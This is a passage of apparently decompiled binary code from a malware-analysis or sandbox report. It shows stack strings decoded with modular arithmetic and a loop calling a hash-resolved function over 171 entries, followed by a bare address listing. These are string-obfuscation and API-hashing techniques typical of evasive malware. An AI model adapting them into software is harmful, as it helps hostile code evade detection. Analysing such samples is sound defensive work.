				 *((char*)(_t2798 - 0x4f4)) = 0x18;
				 *((char*)(_t2798 - 0x4f3)) = 0x6b;
				 *((char*)(_t2798 - 0x4f2)) = 0x18;
				 *((char*)(_t2798 - 0x4f1)) = 0x6b;
				 *((char*)(_t2798 - 0x4f0)) = 0x18;
				 *((char*)(_t2798 - 0x4ef)) = 0x18;
				 *((char*)(_t2798 - 0x4ee)) = 0x18;
				if( *((char*)(_t2798 - 0x4f8)) == 0) {
					_t2766 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2766 - 0x4f7) = ((0x18 - ( *(_t2798 + _t2766 - 0x4f7) & 0x000000ff) + 0x60 << 2) % _t2503 + 0x7f) % _t2503;
						_t2766 = _t2766 + 1;
					} while (_t2766 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x924)) = _t2798 - 0x4f7;
				 *((char*)(_t2798 - 0x504)) = 0;
				 *((char*)(_t2798 - 0x503)) = 0;
				 *((char*)(_t2798 - 0x502)) = 0x13;
				 *((char*)(_t2798 - 0x501)) = 0x48;
				 *((char*)(_t2798 - 0x500)) = 0x13;
				 *((char*)(_t2798 - 0x4ff)) = 0x37;
				 *((char*)(_t2798 - 0x4fe)) = 0x13;
				 *((char*)(_t2798 - 0x4fd)) = 0x64;
				 *((char*)(_t2798 - 0x4fc)) = 0x13;
				 *((char*)(_t2798 - 0x4fb)) = 0x13;
				 *((char*)(_t2798 - 0x4fa)) = 0x13;
				if( *((char*)(_t2798 - 0x504)) == 0) {
					_t2765 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2765 - 0x503) = (((( *(_t2798 + _t2765 - 0x503) & 0x000000ff) - 0x13 << 5) - ( *(_t2798 + _t2765 - 0x503) & 0x000000ff) - 0x13) % _t2503 + 0x7f) % _t2503;
						_t2765 = _t2765 + 1;
					} while (_t2765 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x920)) = _t2798 - 0x503;
				 *((char*)(_t2798 - 0x5f4)) = 0;
				 *((char*)(_t2798 - 0x5f3)) = 0x19;
				 *((char*)(_t2798 - 0x5f2)) = 0x54;
				 *((char*)(_t2798 - 0x5f1)) = 0x1c;
				 *((char*)(_t2798 - 0x5f0)) = 0x54;
				 *((char*)(_t2798 - 0x5ef)) = 0x55;
				 *((char*)(_t2798 - 0x5ee)) = 0x54;
				 *((char*)(_t2798 - 0x5ed)) = 0x16;
				 *((char*)(_t2798 - 0x5ec)) = 0x54;
				 *((char*)(_t2798 - 0x5eb)) = 8;
				 *((char*)(_t2798 - 0x5ea)) = 0x54;
				 *((char*)(_t2798 - 0x5e9)) = 0x54;
				 *((char*)(_t2798 - 0x5e8)) = 0x54;
				if( *((char*)(_t2798 - 0x5f4)) == 0) {
					_t2764 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2764 - 0x5f3) = ((0x54 - ( *(_t2798 + _t2764 - 0x5f3) & 0x000000ff) + 0x2a0 + 0x54 - ( *(_t2798 + _t2764 - 0x5f3) & 0x000000ff) + 0x2a0) % _t2503 + 0x7f) % _t2503;
						_t2764 = _t2764 + 1;
					} while (_t2764 < 0xc);
				}
				 *((intOrPtr*)(_t2798 - 0x91c)) = _t2798 - 0x5f3;
				 *((char*)(_t2798 - 0x510)) = 0;
				 *((char*)(_t2798 - 0x50f)) = 0x46;
				 *((char*)(_t2798 - 0x50e)) = 9;
				 *((char*)(_t2798 - 0x50d)) = 0x1a;
				 *((char*)(_t2798 - 0x50c)) = 9;
				 *((char*)(_t2798 - 0x50b)) = 0x74;
				 *((char*)(_t2798 - 0x50a)) = 9;
				 *((char*)(_t2798 - 0x509)) = 0x73;
				 *((char*)(_t2798 - 0x508)) = 9;
				 *((char*)(_t2798 - 0x507)) = 9;
				 *((char*)(_t2798 - 0x506)) = 9;
				if( *((char*)(_t2798 - 0x510)) == 0) {
					_t2763 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2763 - 0x50f) = (((( *(_t2798 + _t2763 - 0x50f) & 0x000000ff) - 9) * 8 - ( *(_t2798 + _t2763 - 0x50f) & 0x000000ff) - 9) % _t2503 + 0x7f) % _t2503;
						_t2763 = _t2763 + 1;
					} while (_t2763 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x918)) = _t2798 - 0x50f;
				 *((char*)(_t2798 - 0x51c)) = 0;
				 *((char*)(_t2798 - 0x51b)) = 0x19;
				 *((char*)(_t2798 - 0x51a)) = 0x58;
				 *((char*)(_t2798 - 0x519)) = 0xc;
				 *((char*)(_t2798 - 0x518)) = 0x58;
				 *((char*)(_t2798 - 0x517)) = 0x43;
				 *((char*)(_t2798 - 0x516)) = 0x58;
				 *((char*)(_t2798 - 0x515)) = 9;
				 *((char*)(_t2798 - 0x514)) = 0x58;
				 *((char*)(_t2798 - 0x513)) = 0x58;
				 *((char*)(_t2798 - 0x512)) = 0x58;
				if( *((char*)(_t2798 - 0x51c)) == 0) {
					_t2762 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2762 - 0x51b) = ((0x58 - ( *(_t2798 + _t2762 - 0x51b) & 0x000000ff)) * 0x23 % _t2503 + 0x7f) % _t2503;
						_t2762 = _t2762 + 1;
					} while (_t2762 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x914)) = _t2798 - 0x51b;
				 *((char*)(_t2798 - 0x528)) = 0;
				 *((char*)(_t2798 - 0x527)) = 1;
				 *((char*)(_t2798 - 0x526)) = 0x6f;
				 *((char*)(_t2798 - 0x525)) = 0x43;
				 *((char*)(_t2798 - 0x524)) = 0x6f;
				 *((char*)(_t2798 - 0x523)) = 0x2e;
				 *((char*)(_t2798 - 0x522)) = 0x6f;
				 *((char*)(_t2798 - 0x521)) = 0x20;
				 *((char*)(_t2798 - 0x520)) = 0x6f;
				 *((char*)(_t2798 - 0x51f)) = 0x6f;
				 *((char*)(_t2798 - 0x51e)) = 0x6f;
				if( *((char*)(_t2798 - 0x528)) == 0) {
					_t2539 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2539 - 0x527) = ((( *(_t2798 + _t2539 - 0x527) & 0x000000ff) - 0x6f) * 0x37 % _t2503 + 0x7f) % _t2503;
						_t2539 = _t2539 + 1;
					} while (_t2539 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x910)) = _t2798 - 0x527;
				 *((char*)(_t2798 - 0x6c4)) = 0;
				 *((char*)(_t2798 - 0x6c3)) = 0x43;
				 *((char*)(_t2798 - 0x6c2)) = 0x78;
				 *((char*)(_t2798 - 0x6c1)) = 0x30;
				 *((char*)(_t2798 - 0x6c0)) = 0x78;
				 *((char*)(_t2798 - 0x6bf)) = 0x50;
				 *((char*)(_t2798 - 0x6be)) = 0x78;
				 *((char*)(_t2798 - 0x6bd)) = 0x6a;
				 *((char*)(_t2798 - 0x6bc)) = 0x78;
				 *((char*)(_t2798 - 0x6bb)) = 8;
				 *((char*)(_t2798 - 0x6ba)) = 0x78;
				 *((char*)(_t2798 - 0x6b9)) = 8;
				 *((char*)(_t2798 - 0x6b8)) = 0x78;
				 *((char*)(_t2798 - 0x6b7)) = 0x78;
				 *((char*)(_t2798 - 0x6b6)) = 0x78;
				if( *((char*)(_t2798 - 0x6c4)) == 0) {
					_t2761 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2761 - 0x6c3) = ((0x78 - ( *(_t2798 + _t2761 - 0x6c3) & 0x000000ff)) * 0x2c % _t2503 + 0x7f) % _t2503;
						_t2761 = _t2761 + 1;
					} while (_t2761 < 0xe);
				}
				 *((intOrPtr*)(_t2798 - 0x90c)) = _t2798 - 0x6c3;
				 *((char*)(_t2798 - 0x8a0)) = 0;
				 *((char*)(_t2798 - 0x89f)) = 0x7b;
				 *((char*)(_t2798 - 0x89e)) = 0x1f;
				 *((char*)(_t2798 - 0x89d)) = 0x62;
				 *((char*)(_t2798 - 0x89c)) = 0x1f;
				 *((char*)(_t2798 - 0x89b)) = 0x64;
				 *((char*)(_t2798 - 0x89a)) = 0x1f;
				 *((char*)(_t2798 - 0x899)) = 0x66;
				 *((char*)(_t2798 - 0x898)) = 0x1f;
				 *((char*)(_t2798 - 0x897)) = 0x68;
				 *((char*)(_t2798 - 0x896)) = 0x1f;
				 *((char*)(_t2798 - 0x895)) = 0x68;
				 *((char*)(_t2798 - 0x894)) = 0x1f;
				 *((char*)(_t2798 - 0x893)) = 0x64;
				 *((char*)(_t2798 - 0x892)) = 0x1f;
				 *((char*)(_t2798 - 0x891)) = 0x1f;
				 *((char*)(_t2798 - 0x890)) = 0x1f;
				 *((intOrPtr*)(_t2798 - 0x908)) = E00F2F340(_t2798 - 0x8a0);
				 *((char*)(_t2798 - 0x534)) = 0;
				 *((char*)(_t2798 - 0x533)) = 0x5a;
				 *((char*)(_t2798 - 0x532)) = 0xc;
				 *((char*)(_t2798 - 0x531)) = 0x37;
				 *((char*)(_t2798 - 0x530)) = 0xc;
				 *((char*)(_t2798 - 0x52f)) = 7;
				 *((char*)(_t2798 - 0x52e)) = 0xc;
				 *((char*)(_t2798 - 0x52d)) = 0x50;
				 *((char*)(_t2798 - 0x52c)) = 0xc;
				 *((char*)(_t2798 - 0x52b)) = 0xc;
				 *((char*)(_t2798 - 0x52a)) = 0xc;
				if( *((char*)(_t2798 - 0x534)) == 0) {
					_t2760 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2760 - 0x533) = ((0xc - ( *(_t2798 + _t2760 - 0x533) & 0x000000ff)) * 0x2d % _t2503 + 0x7f) % _t2503;
						_t2760 = _t2760 + 1;
					} while (_t2760 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x904)) = _t2798 - 0x533;
				 *((char*)(_t2798 - 0x820)) = 0;
				 *((char*)(_t2798 - 0x81f)) = 0x19;
				 *((char*)(_t2798 - 0x81e)) = 0x69;
				 *((char*)(_t2798 - 0x81d)) = 0x71;
				 *((char*)(_t2798 - 0x81c)) = 0x69;
				 *((char*)(_t2798 - 0x81b)) = 0x2d;
				 *((char*)(_t2798 - 0x81a)) = 0x69;
				 *((char*)(_t2798 - 0x819)) = 0x49;
				 *((char*)(_t2798 - 0x818)) = 0x69;
				 *((char*)(_t2798 - 0x817)) = 0x69;
				 *((char*)(_t2798 - 0x816)) = 0x69;
				 *((intOrPtr*)(_t2798 - 0x900)) = E00F2F2E0(_t2798 - 0x820);
				 *((char*)(_t2798 - 0x6d4)) = 0;
				 *((char*)(_t2798 - 0x6d3)) = 0x45;
				 *((char*)(_t2798 - 0x6d2)) = 0x64;
				 *((char*)(_t2798 - 0x6d1)) = 0x41;
				 *((char*)(_t2798 - 0x6d0)) = 0x64;
				 *((char*)(_t2798 - 0x6cf)) = 0x19;
				 *((char*)(_t2798 - 0x6ce)) = 0x64;
				 *((char*)(_t2798 - 0x6cd)) = 0x19;
				 *((char*)(_t2798 - 0x6cc)) = 0x64;
				 *((char*)(_t2798 - 0x6cb)) = 5;
				 *((char*)(_t2798 - 0x6ca)) = 0x64;
				 *((char*)(_t2798 - 0x6c9)) = 6;
				 *((char*)(_t2798 - 0x6c8)) = 0x64;
				 *((char*)(_t2798 - 0x6c7)) = 0x64;
				 *((char*)(_t2798 - 0x6c6)) = 0x64;
				if( *((char*)(_t2798 - 0x6d4)) == 0) {
					_t2534 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2534 - 0x6d3) = ((( *(_t2798 + _t2534 - 0x6d3) & 0x000000ff) - 0x64) * 0x13 % _t2503 + 0x7f) % _t2503;
						_t2534 = _t2534 + 1;
					} while (_t2534 < 0xe);
				}
				 *((intOrPtr*)(_t2798 - 0x8fc)) = _t2798 - 0x6d3;
				 *((char*)(_t2798 - 0x540)) = 0;
				 *((char*)(_t2798 - 0x53f)) = 0x14;
				 *((char*)(_t2798 - 0x53e)) = 0x27;
				 *((char*)(_t2798 - 0x53d)) = 0x4f;
				 *((char*)(_t2798 - 0x53c)) = 0x27;
				 *((char*)(_t2798 - 0x53b)) = 0x4b;
				 *((char*)(_t2798 - 0x53a)) = 0x27;
				 *((char*)(_t2798 - 0x539)) = 0x68;
				 *((char*)(_t2798 - 0x538)) = 0x27;
				 *((char*)(_t2798 - 0x537)) = 0x27;
				 *((char*)(_t2798 - 0x536)) = 0x27;
				if( *((char*)(_t2798 - 0x540)) == 0) {
					_t2759 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2759 - 0x53f) = (((( *(_t2798 + _t2759 - 0x53f) & 0x000000ff) - 0x27 << 5) - ( *(_t2798 + _t2759 - 0x53f) & 0x000000ff) - 0x27) % _t2503 + 0x7f) % _t2503;
						_t2759 = _t2759 + 1;
					} while (_t2759 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8f8)) = _t2798 - 0x53f;
				 *((char*)(_t2798 - 0x82c)) = 0;
				 *((char*)(_t2798 - 0x82b)) = 0x24;
				 *((char*)(_t2798 - 0x82a)) = 0x5a;
				 *((char*)(_t2798 - 0x829)) = 0x48;
				 *((char*)(_t2798 - 0x828)) = 0x5a;
				 *((char*)(_t2798 - 0x827)) = 0x71;
				 *((char*)(_t2798 - 0x826)) = 0x5a;
				 *((char*)(_t2798 - 0x825)) = 0x51;
				 *((char*)(_t2798 - 0x824)) = 0x5a;
				 *((char*)(_t2798 - 0x823)) = 0x5a;
				 *((char*)(_t2798 - 0x822)) = 0x5a;
				 *((intOrPtr*)(_t2798 - 0x8f4)) = E00F2F280(_t2798 - 0x82c);
				 *((char*)(_t2798 - 0x54c)) = 0;
				 *((char*)(_t2798 - 0x54b)) = 0x4d;
				 *((char*)(_t2798 - 0x54a)) = 0x2b;
				 *((char*)(_t2798 - 0x549)) = 0x13;
				 *((char*)(_t2798 - 0x548)) = 0x2b;
				 *((char*)(_t2798 - 0x547)) = 0x6b;
				 *((char*)(_t2798 - 0x546)) = 0x2b;
				 *((char*)(_t2798 - 0x545)) = 0x26;
				 *((char*)(_t2798 - 0x544)) = 0x2b;
				 *((char*)(_t2798 - 0x543)) = 0x2b;
				 *((char*)(_t2798 - 0x542)) = 0x2b;
				if( *((char*)(_t2798 - 0x54c)) == 0) {
					_t2758 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2758 - 0x54b) = ((0x2b - ( *(_t2798 + _t2758 - 0x54b) & 0x000000ff) + 0x158 << 2) % _t2503 + 0x7f) % _t2503;
						_t2758 = _t2758 + 1;
					} while (_t2758 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8f0)) = _t2798 - 0x54b;
				 *((char*)(_t2798 - 0x558)) = 0;
				 *((char*)(_t2798 - 0x557)) = 3;
				 *((char*)(_t2798 - 0x556)) = 0x42;
				 *((char*)(_t2798 - 0x555)) = 0x22;
				 *((char*)(_t2798 - 0x554)) = 0x42;
				 *((char*)(_t2798 - 0x553)) = 0x5c;
				 *((char*)(_t2798 - 0x552)) = 0x42;
				 *((char*)(_t2798 - 0x551)) = 1;
				 *((char*)(_t2798 - 0x550)) = 0x42;
				 *((char*)(_t2798 - 0x54f)) = 0x42;
				 *((char*)(_t2798 - 0x54e)) = 0x42;
				if( *((char*)(_t2798 - 0x558)) == 0) {
					_t2757 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2757 - 0x557) = ((0x42 - ( *(_t2798 + _t2757 - 0x557) & 0x000000ff)) * 0x23 % _t2503 + 0x7f) % _t2503;
						_t2757 = _t2757 + 1;
					} while (_t2757 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8ec)) = _t2798 - 0x557;
				 *((char*)(_t2798 - 0x564)) = 0;
				 *((char*)(_t2798 - 0x563)) = 0x49;
				 *((char*)(_t2798 - 0x562)) = 0x4b;
				 *((char*)(_t2798 - 0x561)) = 0x57;
				 *((char*)(_t2798 - 0x560)) = 0x4b;
				 *((char*)(_t2798 - 0x55f)) = 0x15;
				 *((char*)(_t2798 - 0x55e)) = 0x4b;
				 *((char*)(_t2798 - 0x55d)) = 0x41;
				 *((char*)(_t2798 - 0x55c)) = 0x4b;
				 *((char*)(_t2798 - 0x55b)) = 0x4b;
				 *((char*)(_t2798 - 0x55a)) = 0x4b;
				if( *((char*)(_t2798 - 0x564)) == 0) {
					_t2756 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2756 - 0x563) = ((0x4b - ( *(_t2798 + _t2756 - 0x563) & 0x000000ff)) * 0x17 % _t2503 + 0x7f) % _t2503;
						_t2756 = _t2756 + 1;
					} while (_t2756 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8e8)) = _t2798 - 0x563;
				 *((char*)(_t2798 - 0x570)) = 0;
				 *((char*)(_t2798 - 0x56f)) = 0xa;
				 *((char*)(_t2798 - 0x56e)) = 0x70;
				 *((char*)(_t2798 - 0x56d)) = 0x59;
				 *((char*)(_t2798 - 0x56c)) = 0x70;
				 *((char*)(_t2798 - 0x56b)) = 0x19;
				 *((char*)(_t2798 - 0x56a)) = 0x70;
				 *((char*)(_t2798 - 0x569)) = 0x3a;
				 *((char*)(_t2798 - 0x568)) = 0x70;
				 *((char*)(_t2798 - 0x567)) = 0x70;
				 *((char*)(_t2798 - 0x566)) = 0x70;
				if( *((char*)(_t2798 - 0x570)) == 0) {
					_t2525 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2525 - 0x56f) = ((( *(_t2798 + _t2525 - 0x56f) & 0x000000ff) - 0x70 + (( *(_t2798 + _t2525 - 0x56f) & 0x000000ff) - 0x70) * 2 << 2) % _t2503 + 0x7f) % _t2503;
						_t2525 = _t2525 + 1;
					} while (_t2525 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8e4)) = _t2798 - 0x56f;
				 *((char*)(_t2798 - 0x838)) = 0;
				 *((char*)(_t2798 - 0x837)) = 0x3a;
				 *((char*)(_t2798 - 0x836)) = 0x5d;
				 *((char*)(_t2798 - 0x835)) = 0x35;
				 *((char*)(_t2798 - 0x834)) = 0x5d;
				 *((char*)(_t2798 - 0x833)) = 0x27;
				 *((char*)(_t2798 - 0x832)) = 0x5d;
				 *((char*)(_t2798 - 0x831)) = 0x23;
				 *((char*)(_t2798 - 0x830)) = 0x5d;
				 *((char*)(_t2798 - 0x82f)) = 0x5d;
				 *((char*)(_t2798 - 0x82e)) = 0x5d;
				 *((intOrPtr*)(_t2798 - 0x8e0)) = E00F2F220(_t2798 - 0x838);
				 *((char*)(_t2798 - 0x57c)) = 0;
				 *((char*)(_t2798 - 0x57b)) = 0x47;
				 *((char*)(_t2798 - 0x57a)) = 0x3c;
				 *((char*)(_t2798 - 0x579)) = 3;
				 *((char*)(_t2798 - 0x578)) = 0x3c;
				 *((char*)(_t2798 - 0x577)) = 0x1e;
				 *((char*)(_t2798 - 0x576)) = 0x3c;
				 *((char*)(_t2798 - 0x575)) = 0x1b;
				 *((char*)(_t2798 - 0x574)) = 0x3c;
				 *((char*)(_t2798 - 0x573)) = 0x3c;
				 *((char*)(_t2798 - 0x572)) = 0x3c;
				if( *((char*)(_t2798 - 0x57c)) == 0) {
					_t2755 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2755 - 0x57b) = ((0x3c - ( *(_t2798 + _t2755 - 0x57b) & 0x000000ff)) * 0x2a % _t2503 + 0x7f) % _t2503;
						_t2755 = _t2755 + 1;
					} while (_t2755 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8dc)) = _t2798 - 0x57b;
				 *((char*)(_t2798 - 0x588)) = 0;
				 *((char*)(_t2798 - 0x587)) = 0x4b;
				 *((char*)(_t2798 - 0x586)) = 0x37;
				 *((char*)(_t2798 - 0x585)) = 3;
				 *((char*)(_t2798 - 0x584)) = 0x37;
				 *((char*)(_t2798 - 0x583)) = 0x35;
				 *((char*)(_t2798 - 0x582)) = 0x37;
				 *((char*)(_t2798 - 0x581)) = 0x2e;
				 *((char*)(_t2798 - 0x580)) = 0x37;
				 *((char*)(_t2798 - 0x57f)) = 0x37;
				 *((char*)(_t2798 - 0x57e)) = 0x37;
				if( *((char*)(_t2798 - 0x588)) == 0) {
					_t2754 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2754 - 0x587) = (((( *(_t2798 + _t2754 - 0x587) & 0x000000ff) - 0x37 << 4) - ( *(_t2798 + _t2754 - 0x587) & 0x000000ff) - 0x37) % _t2503 + 0x7f) % _t2503;
						_t2754 = _t2754 + 1;
					} while (_t2754 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8d8)) = _t2798 - 0x587;
				 *((char*)(_t2798 - 0x594)) = 0;
				 *((char*)(_t2798 - 0x593)) = 0x59;
				 *((char*)(_t2798 - 0x592)) = 0x78;
				 *((char*)(_t2798 - 0x591)) = 0x63;
				 *((char*)(_t2798 - 0x590)) = 0x78;
				 *((char*)(_t2798 - 0x58f)) = 0x19;
				 *((char*)(_t2798 - 0x58e)) = 0x78;
				 *((char*)(_t2798 - 0x58d)) = 0x4f;
				 *((char*)(_t2798 - 0x58c)) = 0x78;
				 *((char*)(_t2798 - 0x58b)) = 0x78;
				 *((char*)(_t2798 - 0x58a)) = 0x78;
				if( *((char*)(_t2798 - 0x594)) == 0) {
					_t2520 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2520 - 0x593) = ((( *(_t2798 + _t2520 - 0x593) & 0x000000ff) - 0x78) * 0x13 % _t2503 + 0x7f) % _t2503;
						_t2520 = _t2520 + 1;
					} while (_t2520 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x8d4)) = _t2798 - 0x593;
				 *((char*)(_t2798 - 0x30)) = 0;
				 *((char*)(_t2798 - 0x2f)) = 0x35;
				 *((char*)(_t2798 - 0x2e)) = 0x2d;
				 *((char*)(_t2798 - 0x2d)) = 0x4b;
				 *((char*)(_t2798 - 0x2c)) = 0x2d;
				 *((char*)(_t2798 - 0x2b)) = 0x5a;
				 *((char*)(_t2798 - 0x2a)) = 0x2d;
				 *((char*)(_t2798 - 0x29)) = 0x15;
				 *((char*)(_t2798 - 0x28)) = 0x2d;
				 *((char*)(_t2798 - 0x27)) = 0x2d;
				 *((char*)(_t2798 - 0x26)) = 0x2d;
				if( *((char*)(_t2798 - 0x30)) == 0) {
					_t2753 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2753 - 0x2f) = ((0x2d - ( *(_t2798 + _t2753 - 0x2f) & 0x000000ff)) * 0x1a % _t2503 + 0x7f) % _t2503;
						_t2753 = _t2753 + 1;
					} while (_t2753 < 0xa);
				}
				_t2750 = 0;
				 *((intOrPtr*)(_t2798 - 0x8d0)) = _t2798 - 0x2f;
				while(1) {
					_t2087 =  *0xf4c2ec; // 0xddcc10
					_t2088 =  *((intOrPtr*)(_t2087 + 0x128));
					if(_t2088 == 0) {
						_t2088 = E00F222A0(_t2503, 0, _t2088 + 7, _t2747, _t2750, 0x5a8ce5b8);
						_t2517 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t2517 + 0x128)) = _t2088;
					}
					_t2089 =  *_t2088(_t2747,  *((intOrPtr*)(_t2798 + _t2750 * 4 - 0xb78)));
					if(_t2089 != 0) {
						break;
					}
					_t2750 = _t2750 + 1;
					if(_t2750 < 0xab) {
						continue;
					} else {
						return _t2089;
					}
					L190:
				}
				return 1;
				goto L190;
			}








































































    0x00f28abe
    0x00f28abe
    0x00f28abe
    0x00f28ac4
    0x00f28acb
    0x00f28ad2
    0x00f28ad9
    0x00f28ae0
    0x00f28ae7
    0x00f28aee
    0x00f28af5
    0x00f28afc
    0x00f28b03
    0x00f28b0a
    0x00f28b1e
    0x00f28b20
    0x00f28b22
    0x00f28b36
    0x00f28b3c
    0x00f28b3f
    0x00f28b46
    0x00f28b47
    0x00f28b22
    0x00f28b52
    0x00f28b5e
    0x00f28b65
    0x00f28b6c
    0x00f28b73
    0x00f28b7a
    0x00f28b81
    0x00f28b88
    0x00f28b8f
    0x00f28b96
    0x00f28b9d
    0x00f28ba4
    0x00f28bb6
    0x00f28bbc
    0x00f28bc3
    0x00f28bca
    0x00f28bd1
    0x00f28bd8
    0x00f28bdf
    0x00f28be6
    0x00f28bed
    0x00f28bf4
    0x00f28bfb
    0x00f28c02
    0x00f28c16
    0x00f28c18
    0x00f28c1a
    0x00f28c20
    0x00f28c37
    0x00f28c3d
    0x00f28c40
    0x00f28c47
    0x00f28c48
    0x00f28c20
    0x00f28c53
    0x00f28c59
    0x00f28c5d
    0x00f28c61
    0x00f28c65
    0x00f28c69
    0x00f28c6d
    0x00f28c71
    0x00f28c75
    0x00f28c79
    0x00f28c84
    0x00f28c86
    0x00f28c90
    0x00f28ca1
    0x00f28ca7
    0x00f28caa
    0x00f28cae
    0x00f28caf
    0x00f28c90
    0x00f28cb7
    0x00f28cbd
    0x00f28cc4
    0x00f28ccb
    0x00f28cd2
    0x00f28cd9
    0x00f28ce0
    0x00f28ce7
    0x00f28cee
    0x00f28cf5
    0x00f28cfc
    0x00f28d03
    0x00f28d17
    0x00f28d19
    0x00f28d20
    0x00f28d34
    0x00f28d3a
    0x00f28d3d
    0x00f28d44
    0x00f28d45
    0x00f28d20
    0x00f28d50
    0x00f28d56
    0x00f28d5d
    0x00f28d64
    0x00f28d6b
    0x00f28d72
    0x00f28d79
    0x00f28d80
    0x00f28d87
    0x00f28d8e
    0x00f28d95
    0x00f28d9c
    0x00f28da3
    0x00f28daa
    0x00f28dbe
    0x00f28dc0
    0x00f28dc2
    0x00f28dd5
    0x00f28ddb
    0x00f28dde
    0x00f28de5
    0x00f28de6
    0x00f28dc2
    0x00f28df1
    0x00f28dfd
    0x00f28e04
    0x00f28e0b
    0x00f28e12
    0x00f28e19
    0x00f28e20
    0x00f28e27
    0x00f28e2e
    0x00f28e35
    0x00f28e3c
    0x00f28e43
    0x00f28e55
    0x00f28e5b
    0x00f28e62
    0x00f28e69
    0x00f28e70
    0x00f28e77
    0x00f28e7e
    0x00f28e85
    0x00f28e8c
    0x00f28e93
    0x00f28e9a
    0x00f28ea1
    0x00f28eb5
    0x00f28eb7
    0x00f28ec0
    0x00f28ed4
    0x00f28eda
    0x00f28edd
    0x00f28ee4
    0x00f28ee5
    0x00f28ec0
    0x00f28ef0
    0x00f28ef6
    0x00f28efd
    0x00f28f04
    0x00f28f0b
    0x00f28f12
    0x00f28f19
    0x00f28f20
    0x00f28f27
    0x00f28f2e
    0x00f28f35
    0x00f28f3c
    0x00f28f50
    0x00f28f52
    0x00f28f60
    0x00f28f60
    0x00f28f74
    0x00f28f7a
    0x00f28f7d
    0x00f28f84
    0x00f28f85
    0x00f28f60
    0x00f28f8a
    0x00f28f90
    0x00f28f96
    0x00f28f9d
    0x00f28fa4
    0x00f28fab
    0x00f28fb2
    0x00f28fb9
    0x00f28fc0
    0x00f28fc7
    0x00f28fce
    0x00f28fd5
    0x00f28fdc
    0x00f28ff0
    0x00f28ff2
    0x00f29000
    0x00f29010
    0x00f29016
    0x00f29019
    0x00f29020
    0x00f29021
    0x00f29000
    0x00f2902c
    0x00f29032
    0x00f29039
    0x00f29040
    0x00f29047
    0x00f2904e
    0x00f29055
    0x00f2905c
    0x00f29063
    0x00f2906a
    0x00f29071
    0x00f29078
    0x00f2908c
    0x00f2908e
    0x00f29090
    0x00f29090
    0x00f290a4
    0x00f290aa
    0x00f290ad
    0x00f290b4
    0x00f290b5
    0x00f29090
    0x00f290ba
    0x00f290c0
    0x00f290c6
    0x00f290cd
    0x00f290d4
    0x00f290db
    0x00f290e2
    0x00f290e9
    0x00f290f0
    0x00f290f7
    0x00f290fe
    0x00f29105
    0x00f2910c
    0x00f29120
    0x00f29122
    0x00f29130
    0x00f29146
    0x00f2914c
    0x00f2914f
    0x00f29156
    0x00f29157
    0x00f29130
    0x00f29162
    0x00f29168
    0x00f2916f
    0x00f29176
    0x00f2917d
    0x00f29184
    0x00f2918b
    0x00f29192
    0x00f29199
    0x00f291a0
    0x00f291a7
    0x00f291ae
    0x00f291c2
    0x00f291c4
    0x00f291c6
    0x00f291d0
    0x00f291e7
    0x00f291ed
    0x00f291f0
    0x00f291f7
    0x00f291f8
    0x00f291d0
    0x00f29203
    0x00f29209
    0x00f29210
    0x00f29217
    0x00f2921e
    0x00f29225
    0x00f2922c
    0x00f29233
    0x00f2923a
    0x00f29241
    0x00f29248
    0x00f2924f
    0x00f29263
    0x00f29265
    0x00f29267
    0x00f29270
    0x00f29286
    0x00f2928c
    0x00f2928f
    0x00f29296
    0x00f29297
    0x00f29270
    0x00f292a2
    0x00f292a8
    0x00f292af
    0x00f292b6
    0x00f292bd
    0x00f292c4
    0x00f292cb
    0x00f292d2
    0x00f292d9
    0x00f292e0
    0x00f292e7
    0x00f292ee
    0x00f29302
    0x00f29304
    0x00f29306
    0x00f29310
    0x00f29320
    0x00f29326
    0x00f29329
    0x00f29330
    0x00f29331
    0x00f29310
    0x00f2933c
    0x00f29342
    0x00f29349
    0x00f29350
    0x00f29357
    0x00f2935e
    0x00f29365
    0x00f2936c
    0x00f29373
    0x00f2937a
    0x00f29381
    0x00f29388
    0x00f2939c
    0x00f2939e
    0x00f293a0
    0x00f293b3
    0x00f293b9
    0x00f293bc
    0x00f293c3
    0x00f293c4
    0x00f293a0
    0x00f293cf
    0x00f293d5
    0x00f293dc
    0x00f293e3
    0x00f293ea
